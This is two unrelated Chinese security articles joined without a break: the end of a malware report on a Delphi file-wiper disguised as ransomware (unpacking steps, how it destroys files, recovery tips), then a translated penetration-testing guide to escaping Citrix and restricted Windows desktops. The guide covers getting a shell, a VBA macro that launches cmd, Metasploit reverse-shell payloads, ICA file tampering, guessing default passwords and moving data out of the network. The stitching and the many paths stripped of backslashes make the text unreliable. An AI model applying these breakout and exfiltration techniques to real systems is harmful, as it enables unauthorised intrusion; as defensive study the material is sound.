为了更好地了解这个壳，我们接下来就进行手动脱壳。查看相应的Section，我们可以看到：
第一个Section名称为“.MPRESS1”，大小为142KB；第二个Section名称为“.MPRESS2”，大小为3.5KB，最后一个Section名称为“.rsrc”，大小为100.5KB。
最后一个Section没有可执行标志（Executable
flag），也就意味着它没有程序的入口点。根据ExeInfo显示的结果，入口点是在内存“0x8225D”偏移量的位置，因此我们发现，入口点是在第二个Section之中。
接下来，让我们使用Olly，对第二个Section做进一步的分析。
我们接下来调试第二个Section中的代码。在调试后，全部的壳代码最终到达偏移量0x455B30。
**该点即为恶意软件的起始点。** 在调试过程中，我们可以使用下面这些技巧，以快速有效地对壳进行分析：
**1.** **使用硬件断点（Hardware Breakpoint）避免循环** **：**
在本文的分析过程中，我们可以使用正常的断点。但是，一些程序可以使用其自身代码进行脱壳、生成密钥等操作，因此，学习使用硬件断点就变得非常重要。
在使用常规断点时，会将汇编指令“INT3”即0xCC放置在想要中断的未知的第一个字节处，随后软件执行到相应位置时，会检测到错误，并触发异常。
**2.** **注意其中的跳转，确保所有的Track都被注意到，并在这些地址中适当放置一些硬件断点，以结束循环。**
**3.** **壳往往会使用大量的调用，才能跳转到下一条指令，因此借助Track是非常必要的。**
4\. 壳会从kernel32.dll中获取到一些Export，例如DeleteCriticalSection等。
**如果能在GetModuleHandleA或GetProcAddress放置一个BP寄存器，可能会很有帮助。**
**5.** **在最后，壳会使用一个 无条件跳转指令（JMP）来实现原始二进制在内存中的还原。**
至此，我们已经有了在内存中还原后的恶意软件，就可以对其进行dump。在偏移量0x455B30的位置，使用OllyDump（或其他）插件即可。但要注意，在dump的时候不要选择“重建IAT”（Rebuild
Import）这个选项。
现在，我们就有了一个628KB的二进制文件，但还有一个问题，就是其中的IAT是错误的，我们要利用ImportREC来进行修复。
在修复dump后，最终得到的恶意软件大小为632KB（或636KB），并且已经完成了IAT的恢复，也就意味着可以在无壳的情况下运行。
我们注意到，其中的Section依然保持着原来的名字，但这并没有关系。现在，使用IDA打开恶意软件，发现这个清扫器病毒是使用Delphi 7语言编写而成。
尽管IDA可以帮助我们逆向Delphi，但建议最好还是使用 **IDR（Interactive Delphi Reconstructor）**
。我们使用IDR打开恶意软件，并等待代码分析的完成。
当完成后，选择“Tools -> Map Generator”或者“Tools -> IDC
Generator”。在这里，我选择了映射文件，并且借助Olly中“加载映射（Load
Map）”的插件对其进行加载，并将所有调试的内容都保存到UDD文件中，以备将来需要时使用。
**恶意软件的有效载荷是在unit1.pas文件的代码中，所以，接下来要针对名为“_Unit2.InitUnits”的函数进行调试。**
在这个函数中，代码在一次大循环中调用了一个寄存器。我们需要等待进入的函数是“Unit1.Initialization”，也就是开始执行恶意代码的函数。另一个调用则属于Delphi，用于启动自己的库和单元。
终于，我们到达了位于偏移量0x455194的启动恶意代码的函数。
恶意软件的第一个动作，是使用API“ **GetDiskFreeSpaceExA** ”从“A:”到“Z:”检查所有的逻辑分区中是否有可用空间。
如果发现分区存在，它将在该分区的可用空间中，以全局变量的方式保存。
随后，恶意软件访问从“C:”到“P:”的分区。
从“C:”开始，恶意软件会使用concat查询分区中带有“*”的字符串，以搜索该分区中的所有文件和目录。
**恶意软件使用Delphi中SysUtils库的“FindFirst”和“FindNext”进行查找。**
对于每个找到的文件或目录，它会使用“.”和“..”检查名称，以避免获取到的是当前目录或前一个目录。
此外，还会 **检查其查找到的是否为目录** ，如果是目录，就会调用相同的函数，以递归的方式进入全部目录树中的所有子文件夹中。
恶意软件还会再 **检查各个文件是否在黑名单列出的目录下** 。为了实现这项检查，它
**调用了SysUtils库中的“ExtractFileDir”函数** 。
黑名单中的目录如下：
windows
Windows
program files
Program Files
Program Files (x86)
Programme
Programme (x86)
program files (x86)
programme
programme (x86)
programdata
在这个地方，恶意软件存在一个BUG。检查黑名单的本意是避免其对Windows目录造成破坏，
**然而，它针对同一个目录，仅仅检查了首字母大小写的两种名称，而没有检查全部大写的名称（例如WINDOWS）**
。因此，Windows系统目录有可能会受到恶意软件的影响。
恶意软件 **使用SysUtils库的“ExtractFileName”函数来检查文件名**
，以确保操作的文件不是以德文命名的“Wo_sind_meine_Datein.html”支付赎金通知。
如上所述，它仅会避免对系统目录下的文件及支付赎金通知文件的操作。如果文件不属于上述二者，恶意软件会
**使用SysUtils库的“ExtractFileExt”函数获取文件的扩展名**
。若扩展名属于指定列表之中的任何一个，则会破坏该文件，如果不属于该列表之中，就不会对该文件进行操作。
我们发现，该病毒的代码质量很差，在检查每个文件的扩展名并与列表进行比较时，都是同一段代码的单纯重复。
受影响的扩展名如下：
如果某个文件的扩展名与上表匹配， **恶意软件首先会生成一个随机值，并随机更改文件名** ：
通常该名称有13个字符。之后，
**恶意软件将在0到0x3E80的范围内生成另一个随机值，并将其添加到0x1F40，以产生一个大小不同的新“垃圾文件”，并作为所谓的“加密”文件使用。**
它将使用随机字符填充相应大小的缓冲区，后续会将其储存在文件中。
下一步操作，就是获取没有路径的文件，并进行删除：
重要的是，恶意软件删除文件，但并不会覆盖垃圾文件。因此，文件仍然会保留在硬盘中。
**如果感染病毒，可以通过使用例如Recuva的恢复软件尝试恢复，有一定概率能成功。**
在删除后，它会将路径与新的随机名称的文件相连接，创建文件，并且用缓冲区中的“垃圾文件”内容进行填充。在最后，它会关闭新文件的句柄，并在同一个文件夹中创建“Wo_sind_meine_Datein.
html”的赎金通知。
正如我之前所说，这段病毒代码非常糟糕，因为它默认会为每一个销毁的文件都创建一个赎金通知，然后再进行检查文件夹中有没有之前创建过的赎金通知。
在完成上面的所有过程后， **恶意软件会创建一个名为“HSDFSD-HFSD-3241-91E7-ASDGSDGHH”的互斥锁（mutex），并检查是否存在GetLastError
API。如果存在，恶意软件将保持运行。如果不存在，恶意软件将会以另一种不可见的方式在内存中保持运行。**
**文件恢复方法**
恶意软件留下的支付赎金通知如下：
在通知中说，他们使用了AES算法来加密用户的文件，需要支付0.12比特币（约600欧元/4800人民币）。
但实际上，并不像通知所说的那样， **恶意软件在一开始就破坏了文件，根本无法通过支付赎金来实现恢复文件。**
然而， **恶意软件不会对系统中的任何卷影副本（Shadow Volume）或还原点（Restore Point）进行破坏。**
因此，我们可以使用一些软件来管理卷影副本，比如ShadowExplorer：
<https://www.bleepingcomputer.com/download/shadowexplorer/>
或者按照以下步骤操作：
<https://www.bleepingcomputer.com/tutorials/how-to-recover-files-and-folders-using-shadow-volume-copies/>
另外一个选择，就是使用Recuva这样的恢复程序从原始磁盘中进行恢复，但并不能确保所有的文件都会被恢复：
[https://www.piriform.com/recuva](https://ssl.microsofttranslator.com/bv.aspx?from=&to=zh-CHS&a=https%3A%2F%2Fwww.piriform.com%2Frecuva)
**总结**
****
通过我们的分析，发现这是一个愚蠢的恶意软件，该恶意软件会破坏企业及个人的信息，尝试诈骗钱财，代码风格挺糟糕的，加的壳也挺简单，以至于我只需要1小时就能完成对它的逆向，顺便写完了这一篇报告。 | 社区文章 |
# 【技术分享】如何突破Citrix和其他受限桌面环境
|
##### 译文声明
本文是翻译文章，文章来源：pentestpartners.com
原文地址：<https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
许多组织及机构正逐步转向虚拟化架构，包括应用及桌面的虚拟化。这一过程通常会涉及如Citrix之类的虚拟化平台来提供服务。
对虚拟化平台而言，如果你配置不当或者锁定失败，那么用户可能会打破你原以为牢不可破的虚拟化环境。可能随后不久，你就会发现你的整个域都被攻陷了。
在这之前，网上可能有很多教程指导用户如何突破受限桌面环境，但据我们所知，这方面还没有一个全面的教程囊括受限桌面环境突破的各种办法。
这正是本文的目的所在，我们希望这是一篇实用的文章。当然，本文也会是一篇不断更新的文章，虽然我们做了大量的努力和研究，但可以肯定的是，我们没有覆盖每一种攻击方法。如果你认为我们在某些方面有所欠缺，请及时告知我们加以补充。
**二、对话框**
获取一个对话框通常是突破虚拟化环境的首个突破口，如果系统经过某种加固，这种方法常常能起到奇效。
即使你只能看到一个非常简单的Notepad应用，你手头上还是有许多可选项的。
即使看起来最为无害、最为简单的应用也可能导致客户域被攻陷，这一点上已经有很多现实案例了。这种现象通常被称为“滚雪球”效应，其中某个小问题引发另一个问题，最终导致整个环境存在极大的安全风险。
许多标准的Windows应用程序通常都会提供某种接口来打开一个对话框：
当然有很多种方法可以打开一个对话框，然而，最简单的方法是：
1、“另存为（Save as）”/“打开为（Open as）”菜单项。
2、“打印（Print）”菜单项：选择“打印到文件（print to file）”选项（比如XPS/PDF等）。
**三、滥用对话框**
打开对话框之后，我们可以此为立足点，开始探索整个系统，或者用来提升权限。能达到什么效果通常与你的创造力有关，但我们通常可以有以下几种方案：
**1、创建新文件**
（1）批处理文件：右键，依次选择“新建（New）”、“文本文件（Text
File）”，重命名为.BAT（或者.CMD）文件，之后选择“编辑（Edit）”，“打开（Open）”。
（2）快捷方式：右键，依次选择“新建（New）”、“快捷方式（Shortcut）”、选择“%WINDIR%system32”。
**2、打开新的Windows资源管理器实例**
在任意文件夹上右键，选择“在新窗口中打开（Open in new window）”。
**3、探索上下文菜单**
（1）在任意文件或目录上右键，观察上下文菜单。
（2）点击“属性（Properties）”，重点观察对象是快捷方式，选择“打开文件路径（Open File Location）”按钮。
**4、输入框**
许多输入框都会接受文件路径，你可以尝试输入UNC路径，如“//attacker–pc/”或者“//127.0.0.1/c$”或者“C:”。
**5、绕过文件限制**
在“文件名（File name）”框中，输入“*.*”或者“*.exe”。
**四、帮助菜单**
帮助菜单有多种存在形式，但我们重点关注的是应用程序的帮助菜单以及通用的“Windows帮助及支持”菜单（可以通过Windows+F1快捷方式启动）。
帮助菜单中通常具有链接及快捷方式，以提供各种功能。如下图所示，用户可以点击其中的链接打开命令提示符：
其他方式：
1、在任意空白处点击右键，选择“查看源码（view source）”，通常会打开一个notepad实例。
2、顶部的打印图标可以引出一个打印对话框。
3、你可以通过语言栏访问帮助菜单。许多需要提供多语言服务的环境中（比如机场）经常会遇到这种场景。
4、许多应用程序经常会在开始菜单中带有指向厂商网页的超链接（比如www.vendor.com）。点击这种链接通常可以引出一个IE浏览器窗口，这也是一个突破口。
**五、环境变量/绕过路径限制**
某些系统做了些加固处理，我们无法直接访问某个敏感路径，如“C:WindowsSystem32”目录。但我们还是有可能使用各种符号链接绕过这个限制。
%ALLUSERSPROFILE%
%APPDATA%
%CommonProgramFiles%
%COMMONPROGRAMFILES(x86)%
%COMPUTERNAME%
%COMSPEC%
%HOMEDRIVE%
%HOMEPATH%
%LOCALAPPDATA%
%LOGONSERVER%
%PATH%
%PATHEXT%
%ProgramData%
%ProgramFiles%
%ProgramFiles(x86)%
%PROMPT%
%PSModulePath%
%Public%
%SYSTEMDRIVE%
%SYSTEMROOT%
%TEMP%
%TMP%
%USERDOMAIN%
%USERNAME%
%USERPROFILE%
%WINDIR%
shell:Administrative Tools
shell:DocumentsLibrary
shell:Libraries
shell:UserProfiles
shell:Personal
shell:SearchHomeFolder
shell:System
shell:NetworkPlacesFolder
shell:SendTo
shell:UserProfiles
shell:Common Administrative Tools
shell:MyComputerFolder
shell:InternetFolder
我们也可以使用文件协议前缀，打开使用其他方式无法打开的应用程序：
about:
data:
ftp:
mailto:
news:
res:
telnet:
view-source:
即使在某些经过大量加固处理的系统上，我们也是有可能使用UNC路径：
\127.0.0.1c$WindowsSystem32
**六、夺取命令提示符**
如果我们能够访问命令提示符，那么我们在突破受控系统上已经取得了第一阶段的胜利，我们可以借此获取操作系统的许多控制权，比如枚举许多有用的信息，为权限提升做准备。许多系统的加固强度不够大，在开始菜单中都能看到cmd.exe的标准快捷方式，我们自然可以将这个接口当成第一个突破口：
通常情况下，我们可以使用多个可执行程序获取系统的shell接口：
1、Cmd.exe
2、COMMAND.COM
3、Powershell.exe
4、第三方的管理/shell工具
**6.1 通过“运行（Run）”对话框**
这可能是最简单的一种办法。可以通过开始菜单或者“Windows+R”快捷键打开运行对话框：
**6.2 通过资源管理器**
这也是种简单有效的方法。浏览包含可执行程序的目录（例如“C:windowssystem32”），我们可以选择可执行程序，在弹出的右键菜单中选择：
**6.3 文件拖放**
我们可以将任何文件拖放到cmd.exe文件上（即便不正确的扩展名，如*.txt也可以），这样会弹出一个命令提示符窗口：
**6.4 超链接/快捷方式**
我们可以利用文件处理器，使用与可执行程序绑定的链接。这个链接可以在许多地方使用，比如对话框、在微软Office内部按住CTRL再点击链接等等。这个链接为“file:///c:/Windows/System32/cmd.exe”。
**6.5 任务管理器**
Windows的任务管理器能帮我们不少忙，此外，它也可以用来创建新的进程。我们可以通过各种方式启动任务管理器（taskmgr），比如开始菜单、较新版的Windows中的CTRL+ALT+DELETE组合键，以及直接使用CTRL+SHIFT+ESCAPE组合键。
**6.6 计划任务（Task Scheduler）**
这是个非常有趣的薄弱点。某些系统可能会限制cmd.exe的访问，但还是可以通过计划任务启动cmd.exe。我们可以用过命令行形式的计划任务工具（at.exe）或者GUI形式的计划任务工具（taskschd.msc）完成这一任务。在计划任务中，我们可以指定在特定时间（如1分钟内）或者特定事件（如用户登录）发生时运行cmd.exe。
**6.7 COMMAND.COM**
这是Windows出于兼容性而保留的一个16位程序。即使cmd.exe被禁用，这个程序通常也是可以访问的。不幸的是，64位的Windows中再也不提供COMMAND.COM了。
**6.8 Powershell.exe**
与cmd.exe类似，但PowerShell具备某些更加高级的功能，例如它可以使用并调用.NET的某些功能。
**6.9 MSPAINT.exe**
这是一种不常用但行之有效的方法，我们可以在微软的画图工具中绘制特定的颜色，创建指向cmd.exe的快捷方式，最终获取shell接口。其原理与创建BMP文件所使用的编码算法有关，我们可以小心选择特定的RGB颜色，将ASCII数据写入到某个文件中。
1、打开MSPaint.exe，设置画布大小为：宽度=6，高度=1像素。
2、放大画布，以便操作。
3、使用颜色选择器，按从左到右的顺序，依次使用以下数值设置像素值：
（1）R: 10, G: 0, B: 0
（2）R: 13, G: 10, B: 13
（3）R: 100, G: 109, B: 99
（4）R: 120, G: 101, B: 46
（5）R: 0, G: 0, B: 101
（6）R: 0, G: 0, B: 0
4、将该图保存为24位位图（*.bmp；*.dlib）
5、将其扩展名从bmp改为bat，然后运行。
**6.10 绕过交互式控制台限制**
当交互式命令提示符被禁用时，我们通常可以使用“/K”或者“/C”参数运行cmd.exe。我们可以使用“cmd.exe /K
pause”命令，就能绕过限制，载入一个交互式shell：
此外，我们也可以将“/C”参数传递给cmd.exe，创建一个非交互式的命令提示符会话。比如，我们可以使用如下命令“cmd.exe /C tasklist >
c:tasks.txt”。
**6.11 FTP方式**
虽然FTP客户端不能提供完全形式的命令行访问接口，但它通常是可用的，在其他通道都被堵死的情况下，我们可以在FTP客户端中使用“!dir”命令，罗列系统文件。此外，FTP客户端也可以用来传输数据，下载第三方工具。
其他一些有用的FTP命令：
!whoami
!date
!ping 127.0.0.1
**七、绕过写入限制**
绕过目标环境的写入限制是非常重要的一点，我们可以借助这类技术，找到上传第三方工具以及写入数据的系统区域。
在一个理想的环境中，最好的管理原则就是用户只能具备最低的写入权限，同时不会对其正常工作造成影响。在现实中，这意味着用户在本地文件系统中只能具备非常低的写权限。
临时目录是一个很好的突破口，用户几乎总是具备该目录的写权限。我们可以通过“%TEMP%”环境变量，枚举默认的临时目录位置，类似的命令为“echo
%TEMP%”。临时文件目录通常为：
1、C:UsersUSERAppDataLocalTemp
2、C:temp
3、C:tmp
当然“%USERPROFILE%”目录也是另一个选择，不过该目录有可能会链接到某个网络共享文件夹。
Accesschk.exe
该工具属于Sysinternals工具集中的一员，与“cacls”/“icacls”功能类似。
我们可以使用这个工具，查找文件系统中我们具备哪些目录的写权限：
accesschk.exe -uwdqs Users c:
accesschk.exe -uwdqs “Authenticated Users” c:
**八、绕过执行限制**
某些系统会使用白名单机制，只允许某些具备特定文件名或文件扩展名的应用程序运行。有些时候，我们可以将malware.exe重命名为白名单中的合法名称（如mspaint.exe），绕过白名单限制。
在某些配置不当的环境中，只要目录符合白名单标准，任何应用程序都可以运行。如果你正在测试的系统允许运行微软的Word程序，你可以尝试将待运行的程序拷贝到WINWORD.EXE所在的目录加以运行。
**九、Internet Explorer浏览器**
许多Web应用程序使用类似Citrix/远程服务/Kiosk平台之类的技术进行分发部署。因此，大多数情况下，这意味着用户需要Web浏览器才能访问这些应用程序。以老版本的Internet
Explorer（IE）浏览器为例，我们可以借助IE浏览器，使用多种方式完成我们的任务：
**9.1 对话框及菜单栏**
1、地址栏：我们可以使用地址栏，填入前文提到过的各种路径及环境变量。例如可以使用 “file://c:windowssystem32cmd.exe” 路径。
2、菜单栏：帮助菜单、打印菜单以及搜索菜单都包含某些链接及选项，可能指向并打开浏览器之外的外部资源（如Windows资源管理器）。
3、右键点击：右键菜单中包含某些非常有用的选项，比如“查看源码”（notepad）以及“保存图片为”菜单。
4、收藏菜单：打开收藏选项卡（ALT+C），将文件夹拖到浏览器窗口中，任意项目（如“MSN站点”）都可以。
**9.2 主页**
我们可以将浏览器主页设置为任意值（如“cmd.exe”）来访问任意文件，当然这是一种快速但略不文雅的方法。
**9.3 F12开发者工具**
在IE浏览器中，我们可以使用F12快捷键打开开发者工具。选择“文件（File）”菜单中的“自定义Internet
Explorer视图源”选项，我们有可能可以自主选择自定义程序。
根据我们的目的，我们可以选择“C:windowssystem32cmd.exe”作为视图源，这样cmd.exe就成为IE中默认的HTML源代码查看器。最后，我们可以在某个网页上点击右键，选择“查看源码（View
Source）”，开始探索旅途。
**9.4 证书导入**
载入IE设置，转到“内容（Content）”选项卡，然后选择“证书（Certificates）”按钮。点击“导入（Import）”选项，会弹出如下向导：
向导的下一步会要求我们填入证书路径，这将打开一个Windows资源管理器（或者文件浏览类型）对话框。我们可以使用“三、滥用对话框”这一部分中的技巧来打破受限环境及提升权限。
**9.5 浏览器附加组件/小程序/动态内容**
默认情况下，IE的设计初衷是提供界面友好且内容丰富的用户体验。我们可以利用这一点，通过浏览器自身功能实现与操作系统的交互。在IE浏览器不被限制的情况下，我们可以使用ActiveX附加组件、Flash应用、Java小程序以及类似技术完成这一任务。
**9.6 基于浏览器的漏洞利用**
如果系统没有及时打补丁，不同版本的IE浏览器可能存在许多漏洞，攻击者可以访问精心构造的某个链接来利用这些漏洞。典型的利用平台就是Metasploit平台。
当然我们也可以诱骗系统上的另一个用户点击我们精心构造的那个链接，这意味着恶意代码会以这些用户的身份运行，如果这些用户是高权限账户那再好不过。
**十、微软Office**
与IE浏览器类似，大多数环境中都提供Office套装以满足用户办公需求。同样，这也为我们提供了众多可利用的点。
**10.1 VBA（Visual Basic for Applications）脚本及宏**
我们可以使用msfencode/msfpayload轻松生成VBA代码，创建目标主机上的反弹型shell或Meterpreter
shell。这种方法很少会被反病毒软件阻止。虽然Meterpreter
shell非常有用，但以这种方式创建的shell会运行在当前文档用户的上下文环境中。当然我们可以根据目标系统的具体安全性设置，使用Meterpreter来提升权限。
**10.2 开发者工具**
所有的Office应用中都提供开发者工具，但这项功能默认情况下并没有被启用。不同版本启用开发者工具的方法有所不同，以Office
2010为例，该选项位于应用程序选项的“自定义功能区”选项卡中。开发者工具一旦启用，各种加载项就可以为我们提供丰富的功能。
开发者工具中包含大量与操作系统交互的ActiveX控件。如果IE浏览器被禁用，但Excel并没有被禁用，我们为什么不创建自己的Web浏览器呢？
**10.3 通过VBA运行命令**
通过宏或者VBA代码，我们只需要简单的三行代码就能启动外部应用程序：
Sub OpenCMD()
Shell “CMD /K C:windowssystem32cmd.exe”, vbNormalFocus
End Sub
**10.4 MS SQL服务器（本地及远程）**
虽然这是条较为漫长的道路，但如果我们能够访问微软出品的SQL服务器（特别是老版本的服务器），这种方法还是值得一试的。我们可以检查SQL服务器是否启用了XP_CMDSHELL组件。如果服务器缺乏访问限制或者用户控制机制，我们有可能可以在该服务器上执行命令并最终远程控制它。
**10.5 对话框及快捷键**
这又是对话框的一种利用方式。我们可以在标准文档（如Word文档）中嵌入简单的指向文件系统的快捷方式（如file://）。
**十一、修改ICA文件**
Citrix的某些配置依赖.ICA（Independent Computing
Architecture，独立计算结构）文件来存放某个连接的配置信息。这些配置信息中包含许多明显的特征参数，比如服务器地址以及端口信息，当然还有许多更加有趣的参数可以为我们所用。
简单的ICA文件形式如下：
[Encoding]
InputEncoding=ISO8859_1[WFClient]
Version=2
username=username
clearpassword=password
[ApplicationServers]
ApplicationName=
[ApplicationName]
Address=IPAddress
InitialProgram=notepad.exe
TWIMode=On
TransportDriver=TCP/IP
WinStationDriver=ICA 3.0
BrowserProtocol=HTTPonTCP
如上所示，“InitialProgram”参数表明，连接建立后，系统应该创建一个Notepad实例。如果系统没有经过加固，我们只需要将该参数简单修改为“cmd.exe”就可以为“Explorer.exe”弹出命令提示符窗口：
InitialProgram=cmd.exe
某些应用程序可能需要进一步的身份验证，当前的身份无法奏效。我们可以模糊测试（fuzz）“InitialProgram”这个参数，枚举潜在有效的可执行程序。
Nmap（使用citrix-enum-apps这个NSE插件）以及Metasploit（使用auxiliary/gather/citrix_published_applications）可以用来枚举已发布的应用程序，互联网中还有许多类似的公开脚本可以完成同样工作。
**十二、默认/弱凭证**
在任何环境中，挖掘探索默认的用户名/密码组合或者使用弱口令（如“password”）的账户显然是攻击行动中非常关键的一环。
如果可能的话，你在发起攻击前应尝试枚举获取可用的用户名列表。我们可以通过错误信息判断某个账户是否存在，比如“该用户名不存在”以及“密码错误”这类错误消息都能提供有用的信息。“忘记密码”功能通常也能告诉我们某个用户是否存在。
如果你已经通过验证，也能获取一个shell，你可以尝试使用“net users”以及“net users /domain”命令。
包括如下用户名在内的许多用户名总是值得尝试的。很多情况下，账户的密码有可能就是用户名：
test
citrixtest
administrator
admin
guest
backup
default
**十三、目标中的文件传输**
我们会简单介绍一下目标环境中可以使用的某些方法：
1、FTP
2、HTTP服务器（WAMP/LAMP以及其他一些公开工具）
3、SMB客户端工具 \hackertools
4、SMB服务端工具 \serverc$
5、DNS隧道
6、电子邮件（私人或企业邮件）
7、剪贴板
8、基于用户输入的流数据
9、设备穿透技术（RS323/串口、火线接口）
以上某些方法需要在攻击环境中架设服务器，不过这并不麻烦，Kali Linux中已经集成了许多服务，我们可以直接使用。
**13.1 DNS隧道**
即使在高度受限的环境中，DNS查询请求还是有可能可以抵达外部互联网，这是非常有趣的一个事实。我们在另一篇文章中单独介绍了这个技术点。
**13.2 电子邮件**
如果Web浏览器可用，通常情况下电子邮件也是可用的，我们可以使用个人电子邮件账户（如Gmail）传输目标主机上的数据。根据目标环境具体的防火墙策略以及网络过滤规则，我们可以探索哪种邮件协议可用，如POP3、IMAP以及SMTP协议。
全功能桌面环境可能具备公司邮件系统的访问权限，我们也可以使用类似的方式利用这一点。需要注意的是，许多企业（特别是大型公司）的邮箱系统通常会采取基于附件的内容过滤机制，我们可以使用加密数据（如ZIP）附件绕过这一限制。
**13.3 剪贴板**
剪贴板也是传输数据的一种方法。二进制文件可以先经过BASE64编码，在远程系统上解码重构以便执行。此外，我们也可以使用剪贴板传输汇编语言代码，然后在远程主机上使用debug.exe执行这些代码。
**13.4 基于用户输入的流数据**
利用用户输入的标准接口（比如键盘及鼠标），我们可以创建一个模拟用户输入的自动脚本来发送数据，数据可以使用慢速流进行传输，在另一端重构即可。
例如Rubber Ducky之类的可重新编程的人机接口设备（Human Interface
Devices，HIDs）正是这类攻击的优良载体。我的一名同事，David Lodge，写了篇文章详细介绍了这类攻击。
**13.5 设备穿透**
根据目标所在的具体环境，我们有可能穿透本地硬件设备（如USB存储设备）到达远程主机。某些客户端，例如微软的远程桌面协议以及Citrix
Receiver实际上使用了自动化的设备穿透机制，当然这个功能可以根据需要手动进行修改。
对于微软的远程桌面应用而言，启动远程服务客户端（mstsc.exe），选择“本地资源”标签页，点击窗口底部的“更多”按钮，我们可以选择本地哪种设备及驱动会被传递到远程主机。
对Citrix Receiver来说操作类似，在连接建立之前，我们可以转到桌面查看器首选项，选择“设备（Devices）”标签页：
连接建立后，我们也可以使用状态栏重复类似操作：
**13.6 设备穿透（RS232/串口）**
如果类似串口之类的设备也能够通过设备穿透技术进行连接，那么主机及服务器之间传输数据就会更加便捷。可用的串口列表可以在本地主机枚举获得，流数据可以经过串口传输到服务器。在服务端，我们可以使用终端应用程序（如Windows
HyperTerminal或者使用debug.exe编译的自定义程序）来接受数据。
**13.7 设备穿透（火线接口）**
安全社区对火线接口的印象不佳，原因在于它们容易受到物理内存攻击的影响。这类攻击利用了火线中的某个“功能”，使连接火线的外部设备能够具备DMA（Direct
Memory Access，直接内存访问）能力。从理论上讲，支持DMA功能的某些模拟火线设备（例如Apple
iPod）也可能使用设备穿透功能，然后该设备就可能具备远程内存的完全读写权限。这将带来严重的问题，因为内存中很有可能包含敏感数据，比如用户凭证、加密密钥等。
**十四、实用的系统/管理工具**
当Windows系统经过加固后，某些内置的用于系统管理的默认工具可能会被管理员忘记加固，因此可以为攻击者所用。其中大部分工具可以使用前文介绍的方法来运行;
1、MMC.exe：微软管理控制台，允许我们使用“管理单元“控制许多系统功能。
2、Mstsc.exe：微软远程服务，用来连接到另一台主机。
3、Regedit.exe：注册表控制工具。
4、Taskmgr.exe：任务管理器。
5、Control.exe：控制面板快捷方式。
6、Rundll32.exe：利用该工具可以调用原生API访问隐藏的系统功能。
7、Dxdiag.exe：DirecX诊断工具，可以用来收集系统信息。
8、Msconfig.exe：系统配置工具，可以显示许多系统信息，包含指向系统工具的链接。
9、Eventvwr.exe：本地事件查看器。
10、Systeminfo.exe：系统信息收集器的命令行工具。
11、Msinfo32.exe：系统信息收集。
12、Osk.exe：虚拟键盘程序，在没有键盘的环境中十分有用。
13、At.exe：计划任务调度程序命令行版。
14、Taskschd.msc：计划任务调度程序界面版。
15、Explorer.exe：创建一个新的Windows资源管理器实例。
16、WMIC.exe
17、Qwinsta.exe：显示RDP会话相关信息。
18、Tasklist.exe /qprocess.exe：列出进程信息。
当然有时候枚举当前可用的本地或第三方可执行文件也是非常有用的：
dir /s %WINDIR% *.exe
**14.1 Rundll32**
通过Rundll32，我们可以运行许多命令，常见的命令如下所示：
已保存的用户名及密码：
RunDll32.exe keymgr.dll,KRShowKeyMgr
控制面板：
RunDll32.exe shell32.dll,Control_RunDLL
日期及时间属性：
RunDll32.exe shell32.dll,Control_RunDLL timedate.cpl
设备管理器：
RunDll32.exe devmgr.dll DeviceManager_Execute
文件管理器属性：
RunDll32.exe shell32.dll,Options_RunDLL 0
忘记密码向导：
RunDll32.exe keymgr.dll,PRShowSaveWizardExW
键盘属性：
RunDll32.exe shell32.dll,Control_RunDLL main.cpl @1
锁定屏幕：
RunDll32.exe user32.dll,LockWorkStation
网络链接：
RunDll32.exe shell32.dll,Control_RunDLL ncpa.cpl
弹出打开方式对话框：
Rundll32 Shell32.dll,OpenAs_RunDLL FILE.ext
打印机用户界面：
Rundll32 Printui.dll,PrintUIEntry /?
系统属性对话框：
Rundll32 Shell32.dll,Control_RunDLL Sysdm.cpl,,3
Windows防火墙：
RunDll32.exe shell32.dll,Control_RunDLL firewall.cpl
Windows关于对话框：
RunDll32.exe SHELL32.DLL,ShellAboutW
**14.2 WMIC.exe**
WMIC（Windows Management Instrumentation Command-Line）是一个非常强大的命令行工具，可以用来收集信息：
WMIC覆盖的范围非常广泛，我们只选取某些使用案例：
本地共享：
wmic share list /format:table
本地用户：
wmic useraccount list full
本地用户 – 输出到HTML文件：
wmic /output:c:users.html useraccount list full /format:hform
进程：
wmic process list full
服务：
wmic service list full
软件：
wmic os lsit full
已安装的补丁/服务包/修补程序：
wmic qfe
**十五、快捷方式**
与大多数操作系统一样，Windows中经常使用的功能都会有快捷方式。特别是系统加固方式只是浮于表面时（例如只是简单删除了开始菜单链接），某些快捷方式在这种场景中就显得尤为有用。
**15.1 标准的操作系统快捷方式**
我们可以在Windows系统的许多地方创建标准的系统快捷方式，比如我们可以尝试在桌面或者资源管理器中点击右键，在弹出的右键菜单中创建指向其他资源的链接，如“%WINDIR%system32cmd.exe“。
**15.2 辅助功能快捷键**
许多快捷方式指向的是辅助功能，比如“粘滞键“以及”鼠标按键“等。按下正确的组合键会弹出相应的对话框，这些对话框可以用来访问轻松访问中心（Ease of
Access Centre，EAC）。我们可以使用EAC作为突破口。
1、粘滞键：按下SHIFT键5次。
2、鼠标按键：SHIFT+ALT+NUMLOCK
3、高对比度：SHIFT+ALT+PRINTSCN
4、切换键：按住NUMLOCK键5秒钟
5、过滤键：按住右SHIFT键12秒钟
其他标准快捷方式也有用处，有些快捷键与特定程序有关：
1、WINDOWS+F1 – Windows搜索
2、WINDOWS+D – 显示桌面
3、WINDOWS+E – 启动Windows资源管理器
4、WINDOWS+R – 运行对话框
5、WINDOWS+U – 轻松访问中心
6、WINDOWS+F – 搜索
7、SHIFT+F10 – 右键上下文菜单
8、CTRL+SHIFT+ESC – 任务管理器
9、CTRL+ALT+DEL – 显示锁定屏幕
10、F1 – 帮助
11、F3 – 搜索
12、F6 – 地址栏
13、F11 – IE浏览器会进入全屏模式
14、CTRL+H – IE浏览器历史记录
15、CTRL+T – IE浏览器新标签页
16、CTRL+N – IE浏览器新页面
17、CTRL+O – 打开文件
18、CTRL+S – 保存
19、CTRL+N – 新建
**十六、RDP/Citrix快捷方式**
Citrix以及微软远程桌面协议（RDP）有一套自己的快捷方式或者“热键“，对应操作系统功能或者其他功能。
**16.1 远程桌面热键**
1、CTRL+ALT+END – 打开Windows安全对话框
2、CTRL+ALT+BREAK – 在窗口和全屏之间切换
3、ALT+INSERT – 循环切换窗口
4、ALT+HOME – 显示开始菜单
5、ALT+DELETE – 显示控制/上下文菜单
